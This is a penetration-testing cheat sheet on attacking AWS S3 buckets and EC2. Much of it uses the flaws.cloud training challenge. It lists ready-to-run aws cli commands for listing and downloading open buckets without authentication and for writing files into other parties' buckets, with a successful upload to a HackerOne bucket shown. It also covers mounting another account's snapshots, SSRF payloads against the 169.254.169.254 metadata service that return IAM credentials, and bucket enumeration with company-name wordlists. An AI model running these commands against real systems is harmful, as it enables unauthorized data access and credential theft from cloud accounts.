Amazon Bucket S3 AWS

Prerequisites, at least you need awscli

```
sudo apt install awscli
```

You can get your credential here https://console.aws.amazon.com/iam/home?#/security_credential (https://console.aws.amazon.com/iam/home?#/security_credential) but you need an aws account, free tier account : https://aws.amazon.com/s/dm/optimization/server-side-test/free-tier/free_np/ (https://aws.amazon.com/s/dm/optimization/server-side-test/free-tier/free_np/)

```
aws configure
AWSAccessKeyId=[ENTER HERE YOUR KEY]
AWSSecretKey=[ENTER HERE YOUR KEY]
```

```
aws configure --profile nameofprofile
```

then you can use *--profile nameofprofile* in the aws command

By default the name of Amazon Bucket are like http://s3.amazonaws.com/[bucket_name]/ (http://s3.amazonaws.com/[bucket_name]/) , you can browse open buckets if you know their names

```
http://s3.amazonaws.com/[bucket_name]/
http://[bucket_name].s3.amazonaws.com/
http://flaws.cloud.s3.amazonaws.com/
```

Basic test - Listing the files

```
aws s3 ls s3://targetbucket --no-sign-request --region insert-region-here
aws s3 ls  s3://flaws.cloud/ --no-sign-request --region us-west-2
```

You can get the region with a dig and nslookup

```
$ dig flaws.cloud
;; ANSWER SECTION:
flaws.cloud.    5    IN    A    52.218.192.11

$ nslookup 52.218.192.11
Non-authoritative answer:
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.
```

Move a file into the bucket

```
aws s3 mv test.txt s3://hackerone.marketing
FAIL : "move failed: ./test.txt to s3://hackerone.marketing/test.txt A client error (
AccessDenied) occurred when calling the PutObject operation: Access Denied."

aws s3 mv test.txt s3://hackerone.files
SUCCESS : "move: ./test.txt to s3://hackerone.files/test.txt"
```

Download every things (in an open bucket)

```
aws s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ . --no-sign-req
uest --region us-west-2
```

Check bucket disk size (authenticated) use, --no-sign for un-authenticated

```
aws s3 ls s3://<bucketname> --recursive  | grep -v -E "(Bucket: |Prefix: |LastWriteTi
me|^$|--)" | awk 'BEGIN {total=0}{total+=$3}END{print total/1024/1024" MB"}'
```

AWS - Extract Backup

```
aws --profile flaws sts get-caller-identity
"Account": "XXXX26262029",

aws --profile flaws  ec2 describe-snapshots --owner-id XXXX26262029 --region us-west-
2
"SnapshotId": "snap-XXXX342abd1bdcb89",

Create a volume using snapshot
aws --profile swk ec2 create-volume --availability-zone us-west-2a --region us-west-2
  --snapshot-id  snap-XXXX342abd1bdcb89
In Aws Console -> EC2 -> New Ubuntu
chmod 400 YOUR_KEY.pem
ssh -i YOUR_KEY.pem  ubuntu@ec2-XXX-XXX-XXX-XXX.us-east-2.compute.amazonaws.com

Mount the volume
lsblk
sudo file -s /dev/xvda1
sudo mount /dev/xvda1 /mnt
```

Bucket informations

Amazon exposes an internal service every EC2 instance can query for instance metadata about the host. If you found an SSRF vulnerability that runs on EC2, try requesting :

```
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
```

```
http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM_USER_ROLE_HERE w
ill return the AccessKeyID, SecretAccessKey, and Token
```

For example with a proxy :
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/
(http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/)

Bucket Finder

A cool tool that will search for readable buckets and list all the files in them. It can also be used to quickly find buckets that exist but deny access to listing files.

```
wget https://digi.ninja/files/bucket_finder_1.1.tar.bz2 -O bucket_finder_1.1.tar.bz2
./bucket_finder.rb my_words
./bucket_finder.rb --region ie my_words
    US Standard         = http://s3.amazonaws.com
    Ireland             = http://s3-eu-west-1.amazonaws.com
    Northern California = http://s3-us-west-1.amazonaws.com
    Singapore           = http://s3-ap-southeast-1.amazonaws.com
    Tokyo               = http://s3-ap-northeast-1.amazonaws.com

./bucket_finder.rb --download --region ie my_words
./bucket_finder.rb --log-file bucket.out my_words
```

Use a custom wordlist for the bucket finder, can be created with

```
List of Fortune1000 company names with permutations on .com, -backup, -media. For exa
mple, walmart becomes walmart, walmart.com, walmart-backup, walmart-media.
List of the top Alexa 100,000 sites with permutations on the TLD and www. For example
, walmart.com becomes www.walmart.com, www.walmart.net, walmart.com, and walmart.
```

Thanks to

- https://community.rapid7.com/community/infosec/blog/2013/03/27/1951-open-s3-buckets (https://community.rapid7.com/community/infosec/blog/2013/03/27/1951-open-s3-buckets)
- https://digi.ninja/projects/bucket_finder.php (https://digi.ninja/projects/bucket_finder.php)
- Bug Bounty Survey - AWS Basic test (https://twitter.com/bugbsurveys/status/859389553211297792)
- FlAWS.cloud Challenge based on AWS vulnerabilities (http://flaws.cloud/)